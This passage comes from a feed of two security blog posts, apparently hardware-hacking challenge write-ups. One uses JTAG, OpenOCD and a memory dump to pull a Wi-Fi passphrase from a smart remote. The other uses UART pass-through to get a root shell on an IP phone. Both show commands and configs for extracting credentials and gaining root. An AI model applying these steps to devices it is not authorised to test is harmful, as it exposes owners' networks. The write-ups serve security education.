Once opened, we can then identify different points of interest within the device. These can be internal or external ports, the board’s chips, components, model and serial numbers. Identifying the chip’s model and serial number is essential and will provide us with the information we need in latter stages.

Inside BroadLink RM Pro Smart remote
image-6163

Inside BroadLink RM Pro Smart remote

Looking for ways to communicate with the device is another key step. When working with embedded architectures, the presence of debug interfaces such as UART and JTAG is a common method used to establish serial connectivity to the device.

JTAG

Joint Test Action Group or more simply JTAG, is a standardised type of serial communication commonly used by engineers and developers to perform on-board testing or diagnostics of embedded devices, also known as boundary scanning. Another functionality of JTAG, which is seemingly more used today, is CPU level debugging allowing read-write access to registers and memory.

The JTAG interface uses four connection points also known as Test Access Port or TAP. These connection points correspond to four signals:

  • TDI – Test Data In; this signal represents input data sent to the device
  • TDO – Test Data Out, which represents output data from the device
  • TCK – Test Clock, used to synchronise data from the TMS and TDI (rising edge of Test Clock) and TDO (falling edge of Test Clock)
  • TMS – Test Mode Select; this signal is used to control the state of the TAP controller
  • TRST – Test Reset; this is an optional signal used for resetting the TAP controller

Identifying JTAG pinouts

The implementation of JTAG is non-standardised, which means that the signal pinouts you may encounter will vary between devices. Aside from the standalone JTAG connection points, commonly seen JTAG interfaces may be a part of a 10 pin, 14 pin, 16 or 20 pin header.

JTAG pinouts
image-6164

JTAG pinouts

Looking closely at the device, the five connection points on the corner of the board is the JTAG interface. Using the JTAG’s debugging functionality should enable us to read and write data stored in memory.

Note: Some devices will have JTAG present but their connections will have been disabled before being released into production.

There are various tools available which can be used to identify JTAG signal pinouts, all of which vary in available features and pricing. Common examples are JTAGenum (for Arduino), JTAGulator and Hydrabus to name a few. For the purpose of this challenge, a JTAGulator is used. The JTAGulator supports a number of functionalities, including both the identification of UART and JTAG pinouts.

The JTAGulator
image-6165

The JTAGulator

Connecting the JTAGulator

The JTAGulator is connected to the smart remote starting from the lowest number of channels/pins on the board (CH0-CH4). The lowest numbered pinouts are used due to the brute-force method used by the JTAGulator to identify the signal value for each pinout. Using the lowest pin number decreases the number of permutation to iterate through and ultimately speeds up the identification process.

JTAGulator connected to the device' class=
image-6166

JTAGulator connected to the device’s JTAG pins

Once connected, you can control using the JTAGulator via USB connection, which will appear as a serial interface. A number of terminal emulators such as PuTTY, Hyperterminal or Minicom can be used to interface with the JTAGulator. In this instance, we will use ‘screen’ utility, which is installed by default on many Linux distributions. It can be used to establish a serial connection to the JTAGulator via the default ttyUSB0 device in Linux machines. The JTAGulator’s baudrate of 115200 should also be provided like so:

$ sudo screen /dev/ttyUSB0 115200

Once a serial connection to the JTAGulator is established, pressing the ‘h’ key shows a list of JTAG commands available. The first step is to set the target voltage to 3.3V, which pertains to the voltage required by the microprocessor. 3.3V is commonly used by most chips; however, accurate information regarding the operational voltage can be found by looking through the chip’s specification sheet. Setting the correct voltage is important as an incorrect voltage could damage or destroy the device. After setting the voltage, the “Identify JTAG pinout (IDCODE Scan) can be used to identify JTAG pins, which works by reading the device IDs – specifically, TDO, TMS and TCK signals. To identify the TDI pin, the BYPASS scan is used.

When running the scans, enter the number of channels to use as five; this will allow the JTAGulator to use the connections made channels CH0 to CH4. The scans should complete fairly quickly as there are only five pins exposed in the board, resulting in a lower number of permutations to be made. If the JTAG implementation appears alongside multiple pinouts, this can increase the number of permutations, thus increasing the duration of the scan.

Identifying JTAG pinouts (BYPASS scan)
image-6167

Identifying JTAG pinouts (BYPASS scan)

The result of the BYPASS scan show us the location of the signal pinouts on the JTAGulator, which corresponds to the signal pinouts on the smart remote.

You can skip this step entirely if the JTAG pinouts are labelled on the silkscreen print on the board, so do not forget to check both sides of the PCB, as it may save valuable time.

JTAG signal pinouts printed underneath the board
image-6168

JTAG signal pinouts printed underneath the board

The Shikra

In order for us to get debug access on the smart remote, an interface and some form of OCD (On Chip Debugger) is required. Many devices on the market allow interfacing with JTAG to facilitate on chip debugging, such as Bus Pirate, Shikra and HydraBus. For this scenario, the Shikra and OpenOCD software are used.

The Shikra is an FT232H USB device sometimes referred to as the “Swiss army knife of hardware hacking”; this device allows us to connect to a number of data interfaces, including UART, JTAG and SPI. A Shikra can be purchased from Xipiter: https://int3.cc/products/the-shikra.

The Shikra
image-6169

The Shikra

The following diagram shows the Shikra pinouts for JTAG, which will be used to connect to the board’s corresponding JTAG pinouts. Ensure that the ground (GND) pin is also connected to a ground point on the board.

Shikra JTAG connections http://www.xipiter.com/uploads/2/4/4/8/24485815/shikra_documentation.pdf
image-6170

Shikra JTAG connections http://www.xipiter.com/uploads/2/4/4/8/24485815/shikra_documentation.pdf

The Shikra giving serial to USB connectivity
image-6171

The Shikra giving serial to USB connectivity

OpenOCD

OpenOCD allows us to perform on-chip debugging of the smart remote via JTAG using GDB. In Linux-based systems, you can install the OpenOCD package by running the following command:

$ sudo apt-get install openocd

In order for us to use OpenOCD, a configuration file for the interface (Shikra) and the target (Smart remote) are required. OpenOCD comes with a number of pre-installed interface and target configuration files; however, the one required does not come in the pre-installed list. The configuration file for the adapter can be found in Xipiter’s getting started guide for the Shikra.

Shikra OpenOCD configuration file:

#shikra.cfg
interface ftdi
ftdi_vid_pid 0x0403 0x6014

ftdi_layout_init 0x0c08 0x0f1b
adapter_khz 2000
#end shikra.cfg

Obtaining the configuration file for the target was not as straight forward. The configuration file required was not available within the pre-installed configuration files and attempting to use any of them results in compatibility errors with the device.

The approach taken in identifying the appropriate target configuration file involved looking up the microprocessor’s make and model. Using a magnifying glass or a good enough camera, the specific chip printings can be determined. The chip in question is a Marvell 88MC200 and a simple Google search of this chip and the keyword OpenOCD returns the target configuration needed.

#
# Marvell's Wireless Microcontroller Platform (88MC200)
#
# https://origin-www.marvell.com/microcontrollers/wi-fi-microcontroller-platform/
#

#source [find interface/ftdi/mc200.cfg]

if " [info exists CHIPNAME] " "
   set  _CHIPNAME $CHIPNAME
" else "
   set  _CHIPNAME mc200
"

set  _ENDIAN little

# Work-area is a space in RAM used for flash programming
# By default use 16kB
if " [info exists WORKAREASIZE] " "
   set  _WORKAREASIZE $WORKAREASIZE
" else "
   set  _WORKAREASIZE 0x4000
"

# JTAG scan chain
if " [info exists CPUTAPID ] " "
   set _CPUTAPID $CPUTAPID
" else "
   set _CPUTAPID 0x4ba00477
"

jtag newtap $_CHIPNAME cpu -irlen 4 -ircapture 0x1 -irmask 0xf -expected-id $_CPUTAPID

set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME cortex_m -endian $_ENDIAN -chain-position $_TARGETNAME
$_TARGETNAME configure -work-area-phys 0x2001C000 -work-area-size $_WORKAREASIZE -work-area-backup 0

# Flash bank
set _FLASHNAME $_CHIPNAME.flash
flash bank $_FLASHNAME mrvlqspi 0x0 0 0 0 $_TARGETNAME 0x46010000

# JTAG speed should be <= F_CPU/6. F_CPU after reset is 32MHz
# so use F_JTAG = 3MHz
adapter_khz 3000
adapter_nsrst_delay 100
if "[using_jtag]" "
 jtag_ntrst_delay 100
"

if "![using_hla]" "
   # if srst is not fitted use SYSRESETREQ to
   # perform a soft reset
   cortex_m reset_config sysresetreq
"

The above configuration file was pointing to an interface path (line 7) which in our case was not required and therefore has been commented out. The interface configuration file previously downloaded will be used instead and the file location specified as a command line argument in OpenOCD.

Once both target and interface configuration files are saved locally, run the following OpenOCD command:

$ openocd -f /usr/share/openocd/scripts/interface/shikra.cfg -f /usr/share/openocd/scripts/target/mc200.cfg

The file path points to shikra.cfg file, which contains the interface configuration and mc200.cfg contains the target board configuration.

The on-chip debugger should now be running as a server and will open local port 4444 on your system. You can then simply connect to this port with Telnet:

$ telnet localhost 4444

Dumping the device memory

Once connected, debug access to the board is now possible and allows control of registers and memory address.

Before the registers can be accessed, sending a halt request is required to send the target into a debugging state. After sending the halt request, the reg command is used to view all of the available registers and its values on the device’s CPU. The full list of useful commands is available in the OpenOCD documentation.

Registers values shown in OpenOCD
image-6172

Registers values shown in OpenOCD

Highlighted in the above image is the Stack Pointer (SP) register. Discussing how computer addressing works is beyond the scope of this blog (it is not a simple subject!). For now, it is enough to understand that the location of the Stack Pointer contains the last value pushed onto the stack of things in memory (RAM), serving as the starting address from where user space memory can be accessed.

Going back to the original goal of extracting sensitive information from the device, the “dump_image” command can be used to dump memory content (in hex). To successfully dump as much information as possible, a trial and error approach to identify the boundaries of user space memory can be taken.

The dump_image command can be used as follows:

$ dump_image img_out2 0x20002898 120000

The img_out2 argument is the output filename; the next argument is the Stack Pointer address and finally the amount of memory to dump in bytes.

Dumping memory to a file
image-6173

Dumping memory to a file

The image above shows that initial attempts at dumping memory may fail if a larger amount of bytes than what is available is specified.

After successfully dumping the contents of memory in hex, an analysis of the file can be performed to identify any information that might be of interest.

Wi-Fi passphrase next to the SSID
image-6174

Wi-Fi passphrase next to the SSID

A hex editor of your choice can be used to navigate around the contents of the file and in the example above, we have used Ghex. Looking around the file and by performing a quick search, we can see the SSID name the device is connected to. 18 bytes after it, the passphrase was also shown.

If we had purchased this device second-hand, then we could potentially use it to access someone’s home network and launch further attacks.

Conclusion

Cyber attacks on smart home devices should now be recognised by home consumers, as well as the risks posed should these devices be sold or stolen. On the other hand, manufacturers should consider methods for securing the hardware aspect – the very foundation of these devices – to ensure the security and privacy of its users.

Cisco’s hardware hacking challenges gives us the opportunity to learn different methods to tamper or attack a device, therefore promoting a greater understanding of the security risks and controls they present. This post has presented a simple proof-of-concept attack on a consumer smart device, whereby a user’s Wi-Fi passphrase can be extracted and therefore allow an attacker to achieve persistent access to a victim’s network. This type of attack can be prevented by disabling – or more effectively – removing the JTAG ports completely from production devices, thereby minimising its attack surface.

The post JTAG on-chip debugging: Extracting passwords from memory appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/jtag-on-chip-debugging-extracting-passwords-from-memory/feed/ 0
UART Debugging: Rooting an IP Phone using UART https://labs.portcullis.co.uk/blog/uart-debugging-rooting-an-ip-phone-using-uart/ https://labs.portcullis.co.uk/blog/uart-debugging-rooting-an-ip-phone-using-uart/#comments Fri, 23 Mar 2018 09:07:45 +0000 https://labs.portcullis.co.uk/?p=6220 In this post I share my solution to an internal hacker challenge relating to identifying the UART pins on a VOIP phone and using them to gain root access. UART (Universal Asynchronous Receiver-Transmitter) is a hardware device that is used for serial communications. It comes in the form of a physical circuit or as a […]

The post UART Debugging: Rooting an IP Phone using UART appeared first on Portcullis Labs.

]]>
In this post I share my solution to an internal hacker challenge relating to identifying the UART pins on a VOIP phone and using them to gain root access.

UART (Universal Asynchronous Receiver-Transmitter) is a hardware device that is used for serial communications. It comes in the form of a physical circuit or as a standalone integrated circuit. UART is used to transmit and receive serial data and is very commonly included in the microcontrollers for the purposes of testing.

Figuring out the pinout, baud rate and rooting the device

UART uses two wires to transmit and receive, which connect to Tx and Rx pins. However, UART is very commonly seen in a group of three pins. The third pin in UART is usually the ground pin.

Before you start identifying the baud rate, you need to identify the correct pinout. You can use a multi-meter to do that. First thing we need to do is to identify points of interest. UART usually consists of two pins, so we need to identify where on the board UART could possibly be.

Inside of the Yealink SIP-T20P IP Phone
image-6221

Inside of the Yealink SIP-T20P IP Phone

Above is an image of the PCB of a Yealink SIP-T20P IP Phone. We can see that this board contains two sets of pins in the bottom left corner of the board. As we know, UART consists of two pins, so we can safely say that the pins on the left could be what we are looking for:

Points of interest
image-6222

Points of interest

Traces are those lines that go from the microcontroller to the pins. The dark green part is the isolation bit and the part in-between the isolation is where the copper trace runs and connect the pins to the microcontroller.

UART traces
image-6223

UART traces

Now that we know where our UART pins are, the next job is to figure out which pins are Ground, Tx and Rx. There are many ways that this can be done. Firstly, we need to identify the Ground pin. In the image below, we can clearly see that the middle pin and right pin are connected to traces, so we can assume that these are the Tx and Rx pins of UART. The Ground pin can be easily identified as it will not have any traces going towards it. In this case, the Ground pin is the pin on the left, as we can clearly see that there is no trace going towards it – it is directly connected to the ground plane.

UART pins
image-6224

UART pins

Once we have identified the Ground pin, we need to identify the Tx and Rx pins. This can be done in many different ways. One of these ways is very easy, and regards basically guessing the pins. There is a 50/50 chance that you will get it right, so if it does not work the first time, you can just change the pinout and it should work.

Another way of identifying the Tx and Rx pins is to use a specialist tool, such as a JTAGulator. JTGAulator will be able to tell exactly which pin is which.

The JTAGulator
image-6225

The JTAGulator

Above is a image of a JTAGulator. JTAGulator has a set of connectors which can be used to find out the UART pinout, provide UART pass-through, connect JTAG, etc. In order to use it, we need to connect it to a USB port on our laptop to provide power. Once we do that, we use jump wires to connect the JTAGulator to our UART pins. JTAGulator connectors are all labelled starting from GND (Ground) pin, VADJ pin, and CH (Channel) pins, which range from 0 to 7.

Picture showing The JTAGulator testing pins
image-6226

Picture showing The JTAGulator testing pins

In order for the JTAGulator to work, we need to connect the pins correctly, so GND to GND, and Channels 0 and 1 to what we think are the Tx and Rx pins. Once finished, it should look like this:

The JTagulator connected to the UART pins of the IP Phone
image-6227

The JTagulator connected to the UART pins of the IP Phone

Once the wires are connected, we need to find the correct baud rate in order to specify the rate at which bits are transmitted to get a human readable output. If baud rate is mismatched, the data can be either misinterpreted or completely missed. There are many different ways to figure out the Baud Rate of different boards. One way is to basically just guess the baud rate. There are several typically-used baud rates, such as 110, 300, 600, 1200, 2400, 4800, 9600, 14400, 19200, 38400, 57600, 115200, 128000 and 256000 bits per second. Basically, connect the device and try those different baud rates until you get readable output is also a way of figuring out the baud rate.

Another way of figuring out the baud rate is to use an oscilloscope. In order to do that, we need to connect our oscilloscope to the Tx pin and then set our oscilloscope to trigger a pulse. Once this is done, we then measure the time of the shortest pulse and the reciprocal of that pulse is the baud rate. To provide an example, if our shortest pulse is 100µs, then our baud rate will be 1/(100 * 10^-6) = 10,000. As 10,000 is not a real baud rate, we round it to the closest possible baud rate which is 9,600 and there we have our baud rate.

Using JTAGulator is another way of finding out the baud rate and pinout. Once we have the JTAGulator connected to our laptop, we need to communicate with it. JTAGulator is using a USB for power and connection, so we need to be able to achieve serial communication with the device. This can be achieved by using a screen tool on Linux, or putty on Windows. We used Debian, so the tool we used for serial communications was screen. Therefore, in order to establish serial communication, we run the command below:

$ sudo screen /dev/tty.usbserial-AL024BCV 115200

The command above can be used to establish serial communication with our JTAGulator device. The command screen invokes the tool; the next part of it is where we specify the device to connect to – /dev is a directory in Linux where we can find all devices that are currently connected to our machine. A ttyUSB0 is the name of our JTAGulator device and the number after it is the baud rate. The baud rate can be found in the JTAGulator documentation. When we run this command, we will end up with a connection to JTAGulator:

:h
JTAG Commands:
I   Identify JTAG pinout (IDCODE Scan)
B   Identify JTAG pinout (BYPASS Scan)
D   Get Device ID(s)
T   Test BYPASS (TDI to TDO)

UART Commands:
U   Identify UART pinout
P   UART passthrough

General Commands:
V   Set target I/O voltage (1.2V to 3.3V)
R   Read all channels (input)
W   Write all channels (output)
J   Display version information
H   Display available commands

Now that we have established our serial communication with the JTAGulator, the first thing we need to do is to set the I/O voltage. If you try to do anything without setting the I/O voltage first, the device will prompt you to set the voltage. To set the voltage on the JTAGulator, we press V and then Enter. This will prompt us to select a set a voltage ranging from 1.2V to 3.3V. In this case, we have set the voltage to be 3.3V. The voltage needed to transmit data though the pins is usually contained within a datasheet of the device. However, 3.3V is a commonly used voltage in bigger chips. Smaller chips might use a voltage of 1.2V. It is essential to select a correct voltage. If the voltage is too big, it can damage the chip. On the other hand, if the voltage is too low, it can damage the device that is trying to communicate with the chip (in this case, the JTagulator).

:v
Current target I/O voltage: Undefined
Enter new target I/O voltage (1.2 - 3.3, 0 for off): 3.3
New target I/O voltage set: 3.3
Ensure VADJ is NOT connected to target!
:

Once the voltage is set, we can start doing the pinout and baud rate identification. In order to do that, we press U and then enter. The JTAGulator will then prompt us for some information regarding the pinout identification such as:

  • Text String to Output – This is the string that will be used to test different baud rates and based on the output we will be able to identify the correct one if the string is outputted the same. In this case, we will be using a string “test”
  • Number of Channels – Number of channels is used to determine how many pins we are going to be using for the pinout identification. There is a maximum of 24 channels, 8 on each set of pins on our JTGAulator. In this scenario, we are doing UART which has only three pins and only two that are used for communications, so the number of channels that we are going to need is two. More channels may be required, however, when trying to identify JTAG pinout, for example
:U
Enter text string to output (prefix with \x for hex) [CR]: test
Enter number of channels to use (2 - 24): 2
Ensure connections are on CH1..CH0.
Possible permutations: 2
Press spacebar to begin (any other key to abort)...

Now that we have got our parameters setup, we can start enumeration of the pinout and the baud rate. In order to begin, we need to press the spacebar and the JTAGulator will iterate through possible combinations of the pinout and baud rate:

TXD: 1
RXD: 0
Baud: 1200
Data: ..... [ FF FF FF FF FF ]

TXD: 1
RXD: 0
Baud: 1800
Data: .... [ FF FD FD FD ]

TXD: 1
RXD: 0
Baud: 2400
Data: ... [ FD F5 FD ]

TXD: 1
RXD: 0
Baud: 3600
Data: 9.9 [ 39 FF 39 ]

TXD: 1
RXD: 0
Baud: 4800
Data: .. [ F0 FA ]

TXD: 1
RXD: 0
Baud: 7200
Data: .. [ 8C B0 ]

TXD: 1
RXD: 0
Baud: 9600
Data: .. [ 00 ED ]

TXD: 1
RXD: 0
Baud: 14400
Data: ic.. [ 69 63 D6 F8 ]

TXD: 1
RXD: 0
Baud: 19200
Data: .....f.`..C.... [ A7 B7 15 19 80 66 B0 60 08 F4 43 9D 0E B9 FE ]

TXD: 1
RXD: 0
Baud: 28800
Data: di.. [ 64 69 DE FF ]

TXD: 1
RXD: 0
Baud: 31250
Data: ...x. [ D4 D6 B6 78 F5 ]

TXD: 1
RXD: 0
Baud: 38400
Data: ..... [ B4 E5 B3 1B F9 ]

TXD: 1
RXD: 0
Baud: 57600
Data: test...starting [ 74 65 73 74 0D 0A 0D 73 74 61 72 74 69 6E 67 20 ]

TXD: 1
RXD: 0
Baud: 76800
Data: tt... [ 74 74 82 8E F8 ]

TXD: 1
RXD: 0
Baud: 115200
Data: .....0. [ 80 80 0C 80 80 30 F8 ]

TXD: 1
RXD: 0
Baud: 153600
Data: ... [ F0 F8 FC ]

TXD: 1
RXD: 0
Baud: 230400
Data: .... [ F8 F8 F8 F8 ]

TXD: 1
RXD: 0
Baud: 250000
Data: .... [ F8 00 F0 F8 ]

TXD: 1
RXD: 0
Baud: 307200
Data: ... [ E0 F0 F0 ]
.
UART scan complete!
:

Once we start our iteration, we will see the output of different combinations that the JTAGulator has tested, as in the image above. We will need to go through those and see which one returns the string we have entered as one of our parameters.

TXD: 1
RXD: 0
Baud: 57600
Data: test...starting [ 74 65 73 74 0D 0A 0D 73 74 61 72 74 69 6E 67 20 ]

In the image above, we have located the correct pinout and baud rate for the Yealink SIP-TP20P IP Phone. So now that we have all the information we need, we can use these to correctly connect the pins and establish serial communication. Again, there are many different tools we can use to do that, such as a USB to Serial Adapter, or even JTAGulator. In this example, we will use the JTGAulator to perform something called UART pass-through. In case someone does not have or cannot afford a JTAGulator, there are other, cheaper solutions available (for example, USB to UART bridge modules or the Bus Pirate). These are USB sticks with UART connectors that allow a bi-directional link between USB bus and UART serial bus.

UART Commands:
U Identify UART pinout
P UART passthrough

In order for us to perform a UART pass-through using the JTAGulator, we need to press P and then enter. This will prompt us to give some information which we have collected in the previous task. Once we enter the UART pass-through mode, JTAGulator will ask us for the channel numbers of the Tx and Rx pins. So based on the information we collected, we know that the Tx pin is connected to channel 1 and the Rx pin is connected to channel 0. Once we supply the pin information, we will then be asked to supply the baud rate. As we know from the previous task, the baud rate is 57,600.

:p
Enter new TXD pin [0]: 1
Enter new RXD pin [0]: 0
Enter new baud rate [0]: 57600
Enable local echo? [y/N]:
Entering UART passthrough! Press Ctrl-X to abort...

Once we enter this information, we can establish a UART pass-through. In this particular case, the device does not provide any security measures and as soon as you connect, you get through a booting process. To get to a root shell, the device must not be connected to the network, as right after the DHCP fails, you need to press enter and you get dropped into a root shell.

#
# id
uid=0(root) gid=0(root)
#

In the next part of this series, we will cover how another of the Team tackled the JTAG challenge.

The post UART Debugging: Rooting an IP Phone using UART appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/uart-debugging-rooting-an-ip-phone-using-uart/feed/ 0